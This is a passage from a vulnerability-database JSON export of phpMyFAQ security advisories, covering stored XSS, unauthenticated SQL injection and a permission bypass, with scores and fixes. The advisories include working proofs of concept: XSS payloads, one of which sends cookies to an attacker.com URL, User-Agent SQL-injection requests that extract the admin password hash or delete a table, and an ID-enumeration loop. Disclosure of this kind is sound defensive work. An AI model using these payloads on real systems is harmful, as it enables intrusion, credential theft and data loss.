\"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"searchable-keyword\",\n      \"author\": \"attacker\",\n      \"email\": \"attacker@example.com\"\n    }\n  }'\n```\n\n**Step 2 — Trigger XSS as victim:**\n```\nhttps://target.example.com/search.html?search=searchable-keyword\n```\nThe search result page renders the restored `<svg onload=...>` payload. The attacker's server receives the victim's session cookie.\n\n**Alternative payloads (for WAF bypass):**\n\n```html\n&lt;details open ontoggle=alert(document.cookie)&gt;\n&lt;iframe srcdoc=\"&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;\"&gt;\n```\n\n---\n\n## Impact\n\n- **Confidentiality :** Session cookie exfiltration and credential theft\n  via JavaScript execution in victim's browser context.\n- **Integrity :** DOM manipulation, phishing overlay injection.\n- **Scope :** Attack crosses from contributor privilege context\n  to all site visitors, including administrators.\n\n---\n\n## Recommended Fix\n\n### Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig`\n\n```diff\n- <a href=\"{{ result.url }}\">{{ result.question | raw }}</a>\n- <small>{{ result.answerPreview | raw }}...</small>\n+ <a href=\"{{ result.url }}\">{{ result.question }}</a>\n+ <small>{{ result.answerPreview }}...</small>\n```\n\nIf HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output.\n\n### Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php`\n\n```diff\n- $data->answer = html_entity_decode(\n-     strip_tags((string) $data->answer),\n-     ENT_COMPAT,\n-     encoding: 'utf-8'\n- );\n+ $data->answer = strip_tags((string) $data->answer);\n  $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);\n```\n\n### Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig`\n\nThe following additional `| raw` instances should be reviewed and sanitized:\n\n```twig\n{{ searchTags | raw }}       → apply HTML Purifier or remove | raw\n{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw\n{{ pagination | raw }}       → safe only if generated entirely server-side with no user input\n```\n\n### Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()`\n\n```diff\n  $this->configuration->getDb()->escape($searchTerm)\n+ htmlspecialchars(\n+     $this->configuration->getDb()->escape($searchTerm),\n+     ENT_QUOTES | ENT_HTML5,\n+     'UTF-8'\n+ )\n```\n\n---",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pqh6-8fxf-jx22",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pqh6-8fxf-jx22"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-pqh6-8fxf-jx22",
                    "reference_id": "GHSA-pqh6-8fxf-jx22",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-pqh6-8fxf-jx22"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-pqh6-8fxf-jx22"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-mgy2-jjae-4qds"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/95249?format=api",
            "vulnerability_id": "VCID-nbs3-9fx9-p7en",
            "summary": "phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha\n## Summary\n\n`BuiltinCaptcha::garbageCollector()` and `BuiltinCaptcha::saveCaptcha()` at `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298` and `:330` interpolate the `User-Agent` header and client IP address into DELETE and INSERT queries with `sprintf` and no escaping. Both methods run on every hit to the public `GET /api/captcha` endpoint, which requires no authentication. An unauthenticated attacker sets the `User-Agent` header to a crafted SQL payload and runs `SLEEP()`, `BENCHMARK()`, or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at `b9f25109`): baseline request 147 ms, request with `User-Agent: x' OR SLEEP(2) OR 'x` 4.09 s (two `SLEEP(2)` calls, one per vulnerable sink).\n\n## Details\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112` populates two private fields from untrusted HTTP input at construction time:\n\n```php\n$this->userAgent = $request->headers->get('user-agent');\n$this->ip = $request->getClientIp();\n```\n\nBoth fields are then dropped into `sprintf()` SQL templates without ever touching `Database::escape()` or a prepared statement.\n\n`garbageCollector()` at line 298 (called on every captcha request via `getCaptchaImage()`):\n\n```php\n$delete = sprintf(\n    \"\n    DELETE FROM\n        %sfaqcaptcha\n    WHERE\n        useragent = '%s' AND language = '%s' AND ip = '%s'\",\n    Database::getTablePrefix(),\n    $this->userAgent,                                      // unescaped\n    $this->configuration->getLanguage()->getLanguage(),\n    $this->ip,                                             // unescaped\n);\n$this->configuration->getDb()->query($delete);\n```\n\n`saveCaptcha()` at line 330 does the same for INSERT:\n\n```php\n$insert = sprintf(\n    \"INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)\",\n    Database::getTablePrefix(),\n    $this->code,\n    $this->userAgent,                                      // unescaped\n    $this->configuration->getLanguage()->getLanguage(),\n    $this->ip,                                             // unescaped\n    $this->timestamp,\n);\n$this->configuration->getDb()->query($insert);\n```\n\nFor comparison, the same file's `checkCaptchaCode()` at line 472 passes user input through `$db->escape()` before interpolation. The `BuiltinCaptcha` author knew about `escape()`; the two sinks above skip it.\n\n### Reachability\n\n`phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39` exposes the vulnerable flow as an unauthenticated GET:\n\n```php\n#[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])]\npublic function renderImage(): Response\n{\n    if (!$this->captcha instanceof BuiltinCaptcha) {\n        return new Response('', Response::HTTP_NOT_FOUND);\n    }\n    // ...\n    $response->setContent($this->captcha->getCaptchaImage());\n    return $response;\n}\n```\n\n`getCaptchaImage()` calls `saveCaptcha()` and `garbageCollector()` unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting `GET /api/captcha` injects into two queries at once.\n\n### Impact surface\n\nMySQL's `query()` method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with `SLEEP()` or `BENCHMARK()` still works, and the attacker can:\n\n- Read any row the web user has access to through bit-by-bit `IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0)` chains. The `faquser` table holds `auth_source`, `login`, and bcrypt password hashes for every registered user; `faqconfig` holds the `main.phpMyFAQToken` admin token and SMTP credentials.\n- `UPDATE` / `DELETE` arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, `User-Agent: ' OR 1=1 -- ` deletes the entire `faqcaptcha` table and locks out legitimate users).\n\n## Proof of Concept\n\nTested against phpMyFAQ 4.2.0-alpha at master `b9f25109fddb38eee19987183798638d07943f92`, default install (MariaDB 10.6, Apache, PHP 8.4) on `http://target:8090`.\n\nStep 1: Baseline request with a clean `User-Agent`:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n  -A \"Mozilla/5.0\" \\\n  \"http://target:8090/api/captcha?nocache=1\"\n# HTTP 500 0.147s\n```\n\nStep 2: Injection with `SLEEP(2)` in the User-Agent:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n  -A \"x' OR SLEEP(2) OR 'x\" \\\n  \"http://target:8090/api/captcha?nocache=2\"\n# HTTP 500 4.093s\n```\n\nThe 4.09 s response time equals two `SLEEP(2)` executions, confirming the payload reached both the `DELETE` in `garbageCollector()` and the `INSERT` in `saveCaptcha()`.\n\nStep 3: Single-bit boolean extraction using time:\n\n```bash\n# leaks first character of the admin hash; 2s = 'a', 0s = otherwise\ncurl -sS -o /dev/null -A \"x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x\" \\\n  \"http://target:8090/api/captcha?nocache=3\"\n```\n\nIterating position and character enables full credential exfiltration without any authentication.\n\n## Impact\n\nUnauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in `faqconfig`, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of `/api/captcha`.\n\n## Recommended Fix\n\nRoute both fields through `Database::escape()` before interpolation, or replace the `sprintf` + `query()` pattern with a prepared statement.\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325`:\n\n```php\n$db = $this->configuration->getDb();\n$userAgent = $db->escape($this->userAgent);\n$language = $db->escape($this->configuration->getLanguage()->getLanguage());\n$ip = $db->escape($this->ip);\n\n$delete = sprintf(\n    \"DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'\",\n    Database::getTablePrefix(),\n    $userAgent,\n    $language,\n    $ip,\n);\n$db->query($delete);\n```\n\nApply the same change to `saveCaptcha()` at line 330 and to every other `sprintf`-into-SQL path in the file. A targeted audit for `sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE` across `src/phpMyFAQ/` will surface the rest.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-289f-fq7w-6q2w",
                    "reference_id": "GHSA-289f-fq7w-6q2w",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-289f-fq7w-6q2w"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-289f-fq7w-6q2w"
            ],
            "risk_score": 4.5,
            "exploitability": "0.5",
            "weighted_severity": "9.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-nbs3-9fx9-p7en"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89414?format=api",
            "vulnerability_id": "VCID-nvb4-mht6-8kdn",
            "summary": "phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()\n### Summary\nThe sanitization pipeline for FAQ content is:\n1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` — encodes `<`, `>`, `\"`, `'`, `&` to HTML entities\n2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` — decodes entities back to characters\n3. `Filter::removeAttributes($input)` — removes dangerous HTML attributes\n\nThe `removeAttributes()` regex at line 174 only matches attributes with double-quoted values:\n```php\npreg_match_all(pattern: '/[a-z]+=\".+\"/iU', subject: $html, matches: $attributes);\n```\n\nThis regex does NOT match:\n- Attributes with single quotes: `onerror='alert(1)'`\n- Attributes without quotes: `onerror=alert(1)`\n\nAn attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174\n\n**Sanitization flow for FAQ question field:**\n\n`FaqController::create()` lines 110, 145-149:\n```php\n$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);\n// ...\n->setQuestion(Filter::removeAttributes(html_entity_decode(\n    (string) $question,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: 'UTF-8',\n)))\n```\n\n**Template rendering:** `faq.twig` line 36:\n```twig\n<h2 class=\"mb-4 border-bottom\">{{ question | raw }}</h2>\n```\n\n**How the bypass works:**\n\n1. Attacker submits: `<img src=x onerror=alert(1)>`\n2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `&lt;img src=x onerror=alert(1)&gt;`\n3. After `html_entity_decode()`: `<img src=x onerror=alert(1)>`\n4. `preg_match_all('/[a-z]+=\".+\"/iU', ...)` runs:\n   - The regex requires `=\"...\"` (double quotes)\n   - `onerror=alert(1)` has NO quotes → NOT matched\n   - `src=x` has NO quotes → NOT matched\n   - No attributes are found for removal\n5. Output: `<img src=x onerror=alert(1)>` (XSS payload intact)\n6. Template renders with `|raw`: JavaScript executes in browser\n\n**Why double-quoted attributes are (partially) protected:**\n\nFor `<img src=\"x\" onerror=\"alert(1)\">`:\n- The regex matches both `src=\"x\"` and `onerror=\"alert(1)\"`\n- `src` is in `$keep` → preserved\n- `onerror` is NOT in `$keep` → removed via `str_replace()`\n- Output: `<img src=\"x\">` (safe)\n\nBut this protection breaks with single quotes or no quotes.\n\n### PoC\n\n**Step 1: Create FAQ with XSS payload (requires authenticated admin):**\n```bash\ncurl -X POST 'https://target.example.com/admin/api/faq/create' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=admin_session' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"valid_csrf_token\",\n      \"question\": \"<img src=x onerror=alert(document.cookie)>\",\n      \"answer\": \"Test answer\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"test\",\n      \"author\": \"test\",\n      \"email\": \"test@test.com\"\n    }\n  }'\n```\n\n**Step 2: XSS triggers on public FAQ page**\n\nAny user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:\n```\nhttps://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html\n```\n\nThe FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`).\n\n**Alternative payloads:**\n```html\n<img/src=x onerror=alert(1)>\n<svg onload=alert(1)>\n<details open ontoggle=alert(1)>\n```\n\n### Impact\n\n- **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins.\n- **Session hijacking:** Steal session cookies of all users viewing the FAQ.\n- **Phishing:** Display fake login forms to steal credentials.\n- **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload.\n- **Malware distribution:** Redirect users to malicious sites.\n\n**Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34729",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00045",
                            "scoring_system": "epss",
                            "scoring_elements": "0.14026",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00045",
                            "scoring_system": "epss",
                            "scoring_elements": "0.1411",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00045",
                            "scoring_system": "epss",
                            "scoring_elements": "0.14147",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00045",
                            "scoring_system": "epss",
                            "scoring_elements": "0.14144",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34729"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34729",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34729"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-cv2g-8cj8-vgc7",
                    "reference_id": "GHSA-cv2g-8cj8-vgc7",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-cv2g-8cj8-vgc7"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/110180?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.1",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-2w3p-tar6-8qgk"
                        },
                        {
                            "vulnerability": "VCID-522f-tfh9-juea"
                        },
                        {
                            "vulnerability": "VCID-7um9-fk42-wqbs"
                        },
                        {
                            "vulnerability": "VCID-ghg9-s21m-jqe6"
                        },
                        {
                            "vulnerability": "VCID-kjwz-5bu7-q7cy"
                        },
                        {
                            "vulnerability": "VCID-mgy2-jjae-4qds"
                        },
                        {
                            "vulnerability": "VCID-nbs3-9fx9-p7en"
                        },
                        {
                            "vulnerability": "VCID-p8pd-8q9q-1kad"
                        },
                        {
                            "vulnerability": "VCID-qqc4-rvtj-97h5"
                        },
                        {
                            "vulnerability": "VCID-r378-d5zh-t7aw"
                        },
                        {
                            "vulnerability": "VCID-rtvb-fx4h-13h5"
                        },
                        {
                            "vulnerability": "VCID-t65b-87xm-cbaj"
                        },
                        {
                            "vulnerability": "VCID-xenm-bpfy-w3f9"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.1"
                }
            ],
            "aliases": [
                "CVE-2026-34729",
                "GHSA-cv2g-8cj8-vgc7"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-nvb4-mht6-8kdn"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/92109?format=api",
            "vulnerability_id": "VCID-p8pd-8q9q-1kad",
            "summary": "phpMyFAQ has unauthenticated FAQ permission bypass via getFaqBySolutionId fallback query\n## Summary\n\nThe public `/solution_id_{id}.html` route calls `Faq::getIdFromSolutionId()` in `phpmyfaq/src/phpMyFAQ/Faq.php:1312`. That query joins `faqdata` with `faqcategoryrelations` solely by `solution_id` and returns the matching FAQ's `id`, `lang`, `thema` (title), and `category_id` with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to `/content/<category>/<id>/<lang>/<title-slug>.html`, leaking the FAQ's existence, internal id, language, category binding, and title via the redirect's `Location` header and the redirected page's canonical link, share-to-social URLs, and hidden form fields. The related `getFaqBySolutionId()` at line 1221 contains an explicit fallback query (added \"for tests\") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result.\n\n## Details\n\n### The sink: `getIdFromSolutionId()` has no permission filter\n\n`phpmyfaq/src/phpMyFAQ/Faq.php:1312`:\n\n```php\npublic function getIdFromSolutionId(int $solutionId): array\n{\n    $query = sprintf(\n        'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id\n         FROM %sfaqdata fd\n         LEFT JOIN %sfaqcategoryrelations fcr\n           ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang\n         WHERE fd.solution_id = %d',\n        Database::getTablePrefix(),\n        Database::getTablePrefix(),\n        $solutionId,\n    );\n    // ...\n}\n```\n\nNo `WHERE`-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at `phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172` uses this result to compute a slugified URL and 301-redirects to it:\n\n```php\n#[Route(path: '/solution_id_{solutionId}.html', name: 'public.faq.solution', methods: ['GET'])]\npublic function solution(Request $request): Response\n{\n    $solutionId = Filter::filterVar($request->attributes->get('solutionId'), FILTER_VALIDATE_INT, 0);\n    // ...\n    $faqData = $this->faq->getIdFromSolutionId($solutionId);\n    if ($faqData === []) {\n        return new Response('', Response::HTTP_NOT_FOUND);\n    }\n    $slug = TitleSlugifier::slug($faqData['question']);\n    $url = sprintf('/content/%d/%d/%s/%s.html',\n        $faqData['category_id'], $faqData['id'], $faqData['lang'], $slug);\n    return new RedirectResponse($url, Response::HTTP_MOVED_PERMANENTLY);\n}\n```\n\nThe redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical `/content/<...>.html` page may deny rendering the body.\n\n### Related sink: `getFaqBySolutionId()` explicitly falls back without the filter\n\n`phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265`:\n\n```php\nif (false === $row || null === $row) {\n    // Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests)\n    $fallbackQuery = sprintf(\n        'SELECT * FROM %sfaqdata fd WHERE fd.solution_id = %d LIMIT 1',\n        Database::getTablePrefix(),\n        $solutionId,\n    );\n    $fallbackResult = $this->configuration->getDb()->query($fallbackQuery);\n    $row = $this->configuration->getDb()->fetchObject($fallbackResult);\n}\n```\n\nThe inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of `faqRecord`, including `content`, `keywords`, `author`, `email`, and `notes`. Downstream consumers that expect `faqRecord` to respect ACLs no longer do.\n\n### Entry enumeration\n\nSolution IDs are monotonically increasing integers (`faqdata.solution_id`). An attacker enumerates `/solution_id_<n>.html` from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users.\n\n## Proof of Concept\n\nPrerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via `faqdata_user` / `faqdata_group`. Note its `solution_id`, which is assigned sequentially starting from a six-digit base.\n\nStep 1. Anonymous GET of the solution URL:\n\n```bash\ncurl -sS -L -o /tmp/out.html -w 'HTTP %{http_code}\\n' \\\n  'http://<host>/solution_id_<restricted-solution-id>.html'\n```\n\nStep 2. Observe the 301 redirect that `getIdFromSolutionId()` returns. The `Location` header carries the slugified title of the restricted FAQ directly in the URL path:\n\n```\nHTTP/1.1 301 Moved Permanently\nLocation: /content/<category-id>/<record-id>/<lang>/<title-slug>.html\n```\n\nStep 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check:\n\n```html\n<link rel=\"canonical\" href=\"http://<host>/content/<category-id>/<record-id>/<lang>/<title-slug>.html\">\n<input type=\"hidden\" name=\"voting-id\" value=\"<record-id>\">\n<a href=\"http://<host>/pdf/<category-id>/<record-id>/<lang>\">...</a>\n```\n\nStep 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide:\n\n```bash\nfor id in $(seq 1 100000); do\n  code=$(curl -sS -o /dev/null -w '%{http_code}' \"http://<host>/solution_id_${id}.html\")\n  if [ \"$code\" = \"301\" ]; then\n    loc=$(curl -sSI \"http://<host>/solution_id_${id}.html\" | awk -F': ' '/^Location:/{print $2}' | tr -d '\\r')\n    echo \"solution_id=${id} -> ${loc}\"\n  fi\ndone\n```\n\nEach `301` response's `Location` header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide.\n\n## Impact\n\nAny unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example `q3-layoff-plan`, `aws-root-key-rotation`), so the title alone can be sensitive.\n\nThe body content is usually still served through a separate permission-enforcing path on the canonical `/content/<...>.html` URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about.\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (Medium, 5.3). CWE-863.\n\n## Recommended Fix\n\nAdd a permission filter to `getIdFromSolutionId()` the same way `getFaqBySolutionId()` builds one for its primary query (using `QueryHelper::queryPermission()`):\n\n```php\npublic function getIdFromSolutionId(int $solutionId): array\n{\n    $queryHelper = new QueryHelper($this->user, $this->groups);\n    $query = sprintf(\n        'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id\n         FROM %sfaqdata fd\n         LEFT JOIN %sfaqcategoryrelations fcr\n           ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang\n         LEFT JOIN (\n             SELECT record_id, group_id FROM %sfaqdata_group fdg WHERE fdg.group_id <> -1\n             UNION ALL\n             SELECT fd.id AS record_id, -1 AS group_id FROM %sfaqdata fd WHERE fd.solution_id = %d\n         ) AS fdg ON fd.id = fdg.record_id\n         LEFT JOIN %sfaqdata_user fdu ON fd.id = fdu.record_id\n         WHERE fd.solution_id = %d %s',\n        Database::getTablePrefix(),\n        Database::getTablePrefix(),\n        Database::getTablePrefix(),\n        Database::getTablePrefix(),\n        $solutionId,\n        Database::getTablePrefix(),\n        $solutionId,\n        $queryHelper->queryPermission($this->groupSupport),\n    );\n    // ...\n}\n```\n\nSeparately, remove the unconditional fallback in `getFaqBySolutionId()` at `Faq.php:1256-1265`. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave `faqRecord` empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is 